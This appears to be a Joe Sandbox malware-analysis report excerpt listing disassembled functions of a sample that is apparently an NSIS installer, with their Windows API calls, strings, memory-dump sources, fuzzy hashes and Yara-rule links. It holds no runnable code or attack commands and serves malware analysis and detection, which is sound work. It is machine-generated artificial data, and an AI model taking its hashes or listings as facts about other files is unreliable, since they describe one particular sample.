Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 73962569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 7396121B: GlobalAlloc.KERNELBASE(?,?,7396123B,?,739612DF,00000019,739611BE,-000000A0), ref: 73961225

GlobalFree.KERNEL32(?), ref: 73962657
GlobalFree.KERNEL32(00000000), ref: 7396268C

Memory Dump Source

Source File: 00000000.00000002.2221579317.0000000073961000.00000020.00000001.01000000.00000004.sdmp, Offset: 73960000, based on PE: true

Associated: 00000000.00000002.2220811519.0000000073960000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2221828367.0000000073964000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2222689147.0000000073966000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73960000_czHx16QwGQ.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: b2e17fb98df548167ae9262147f30d6befabe8d3f5474c129cc95af9751ea2bc
Instruction ID: eb8bbe19825abbdaab35f39707d6c03bb38f9f15acd61c500de86bae742503bd
Opcode Fuzzy Hash: b2e17fb98df548167ae9262147f30d6befabe8d3f5474c129cc95af9751ea2bc
Instruction Fuzzy Hash: 7D31037210B519EFDB16AF91C894FAA77BAFB85344324453EF5868F260C7309815CB63

Function 004028DD Relevance: 9.1, APIs: 6, Instructions: 72memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\czHx16QwGQ.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GlobalAlloc.KERNEL32(?,?), ref: 00402901
CloseHandle.KERNEL32(?), ref: 00402981

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969

Part of subcall function 004031D6: SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

DeleteFileW.KERNEL32(?), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: File$Global$AllocFreePointer$AttributesCloseCreateDeleteHandle
String ID:
API String ID: 488507980-0
Opcode ID: 8381b4231eabbf673b08069758c6843b617af172fec4b02a039423957ade8c5d
Instruction ID: a72baa4c232b972dd9d74bdb0255e4e47dd94c062f2630ea412bfe515796ae85
Opcode Fuzzy Hash: 8381b4231eabbf673b08069758c6843b617af172fec4b02a039423957ade8c5d
Instruction Fuzzy Hash: 7A216DB1D00118BBCF116FA5DE48CAE7E79EF09364F10013AF5947A2E0CB794D419B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 00404C9F
%u.%u%s%s, xrefs: 00404C97

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll,?,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll,?,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp$C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll
API String ID: 3109718747-265733643
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 739618D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 7396193A
GlobalFree.KERNEL32(?), ref: 73961ADA
GlobalFree.KERNEL32(?), ref: 73961ADF

Memory Dump Source

Source File: 00000000.00000002.2221579317.0000000073961000.00000020.00000001.01000000.00000004.sdmp, Offset: 73960000, based on PE: true

Associated: 00000000.00000002.2220811519.0000000073960000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2221828367.0000000073964000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2222689147.0000000073966000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73960000_czHx16QwGQ.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: ea1ce5d861fe7f685d438c1612a6964d21fa6170e430e2eb62bc9564fc105b85
Instruction ID: d0024a9871b06b06f4edce5b9e104dfbc4111e0dec7516adcb5b7b489bc0517d
Opcode Fuzzy Hash: ea1ce5d861fe7f685d438c1612a6964d21fa6170e430e2eb62bc9564fc105b85
Instruction Fuzzy Hash: B051C532D03159EBEB02DFA4CD407ADBBBEEB44394F18426AD407A3294D6719EC18793

Function 73962394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 739624D6

Part of subcall function 7396122C: lstrcpynW.KERNEL32(00000000,?,739612DF,00000019,739611BE,-000000A0), ref: 7396123C

GlobalAlloc.KERNEL32(?), ref: 7396245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 73962477

Memory Dump Source

Source File: 00000000.00000002.2221579317.0000000073961000.00000020.00000001.01000000.00000004.sdmp, Offset: 73960000, based on PE: true

Associated: 00000000.00000002.2220811519.0000000073960000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2221828367.0000000073964000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2222689147.0000000073966000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73960000_czHx16QwGQ.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: ed48bd0e5735da848dc042d74cba18bfc8092a1c469b6310bf72eefefcfbcaed
Instruction ID: 09524f4e4f5fe15fdeba7793416226dbbffaaea991c96a5959f5d1ead4384bd5
Opcode Fuzzy Hash: ed48bd0e5735da848dc042d74cba18bfc8092a1c469b6310bf72eefefcfbcaed
Instruction Fuzzy Hash: 1D419DB100A709EFD315EF61D844FA677B8FB88754F10492EE58B8B585EB70A484CB63

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 7396161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,739621EC,?,00000808), ref: 73961635
GlobalAlloc.KERNEL32(?,00000000,?,00000000,739621EC,?,00000808), ref: 7396163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,739621EC,?,00000808), ref: 73961650
GetProcAddress.KERNEL32(739621EC,00000000), ref: 73961657
GlobalFree.KERNEL32(00000000), ref: 73961660

Memory Dump Source

Source File: 00000000.00000002.2221579317.0000000073961000.00000020.00000001.01000000.00000004.sdmp, Offset: 73960000, based on PE: true

Associated: 00000000.00000002.2220811519.0000000073960000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2221828367.0000000073964000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2222689147.0000000073966000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73960000_czHx16QwGQ.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 65f5c366cf1ec65614f6f895060ed0b150562d836593c0a311b3a1fde8c7361a
Instruction ID: 8f227666eb1ac5742b9279a2633dae44e20bee4833a1f3268f18baca3afcc4a6
Opcode Fuzzy Hash: 65f5c366cf1ec65614f6f895060ed0b150562d836593c0a311b3a1fde8c7361a
Instruction Fuzzy Hash: D1F0AC7320B538BBD62126E78C4CD9BBE9CDF8B6F5B210225F62C96190C6619D01D7F1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,?,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,?,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,?,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,?,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75572EE0,00403A1A,75573420,00403819,00000006,?,00000006,?,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 739610E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?), ref: 7396116A
GlobalFree.KERNEL32(00000000), ref: 739611C7
GlobalFree.KERNEL32(00000000), ref: 739611D9
GlobalFree.KERNEL32(?), ref: 73961203

Memory Dump Source

Source File: 00000000.00000002.2221579317.0000000073961000.00000020.00000001.01000000.00000004.sdmp, Offset: 73960000, based on PE: true

Associated: 00000000.00000002.2220811519.0000000073960000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2221828367.0000000073964000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2222689147.0000000073966000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73960000_czHx16QwGQ.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: d9dbfd20df08c0910949617700bafc3a3cbd00618dcc498f153ac797ccaddcc2
Instruction ID: 0aef42c666cc22a61dbc603319dc77b09ba9d8214e781910fc98e77db988963c
Opcode Fuzzy Hash: d9dbfd20df08c0910949617700bafc3a3cbd00618dcc498f153ac797ccaddcc2
Instruction Fuzzy Hash: D33190B290B211EFE7009F76C945B36B7FCEB45354B15052EE84ADF254E738D8418BA2

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
